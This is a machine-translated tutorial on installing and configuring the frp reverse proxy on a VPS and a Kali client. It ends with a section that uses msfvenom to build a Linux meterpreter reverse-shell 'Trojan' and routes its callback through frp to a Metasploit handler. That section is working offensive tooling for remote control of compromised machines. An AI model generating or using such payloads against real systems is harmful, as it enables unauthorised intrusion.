FRP reverse proxy

frp It is a high performance reverse proxy application focusing on Intranet penetration , Support TCP、UDP、HTTP、HTTPS Other protocols . You can make intranet services secure 、 Convenient way through the public network IP Node transfer is exposed to the public network

frp Divided into client and server , The client is installed on the local machine , The service side in vps On , Generally, we set up a network in the intranet 80 Port, but because it is in the intranet and cannot be accessed directly, it needs to be 80 The port is mapped to the public network vps On one of the ports of , So we can visit this vps That port is equivalent to accessing the intranet 80 port , adopt frp Reverse proxy can help us solve such problems

 Project address : https://github.com/fatedier/frp/releases

The first is the server , The second is the client linux and win All support
Download on the server frp And configuration

wget https://github.com/fatedier/frp/releases/download/v0.41.0/frp_0.41.0_linux_amd64.tar.gz
tar zxvf frp_0.41.0_linux_amd64.tar.gz
cd frp_0.41.0_linux_amd64
rm -rf frpc*

edit frps.ini

vi frps.ini
bind_port=7000
token=moonsec2020

start-up frp

 ./frps -c frps.ini

Set this service to start automatically after startup
vi /lib/systemd/system/frps.service

[Unit]
# The service description 
Description=frpc service 
After=network.target syslog.target
Wants=network.target

[Service]
Type=simple
# Carry out orders  
ExecStart=/root/frp/frps -c /root/frp/frps.ini

[Install]
WantedBy=multi-user.target

start-up frp
systemctl daemon-reload
systemctl start frps
systemctl enable frps

Client configuration , Here we use kali As a client

wget https://github.com/fatedier/frp/releases/download/v0.41.0/frp_0.41.0_linux_amd64.tar.gz

tar zxvf frp_0.41.0_linux_amd64.tar.gz

cd frp_0.41.0_linux_amd64

vi frpc.ini
                      

# frpc.ini
[common]
server_addr = *.*.*.*
server_port = 7000
token = moonsec2020

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

here server_addr Fill in your server address
local_port = 22
remote_port = 6000
This is going to be local 22 Port maps to 6000 port
Turn on frp
./frpc -c frpc.ini

MSF And frp Reverse proxy
Create a Trojan

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=****  LPORT=8000  -f elf > shell.elf
 there lhost  Server address expected  LPORT  Is the reverse proxy port 

[common]
server_addr = ****
server_port = 7000
token=moonsec2020

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000


[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 8000

start-up frp
./frpc -c frpc.ini

Turn on monitoring
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 127.0.01
set lport 6666
exploit

there lhost Must be 127.0.0.1 Or you'll make a mistake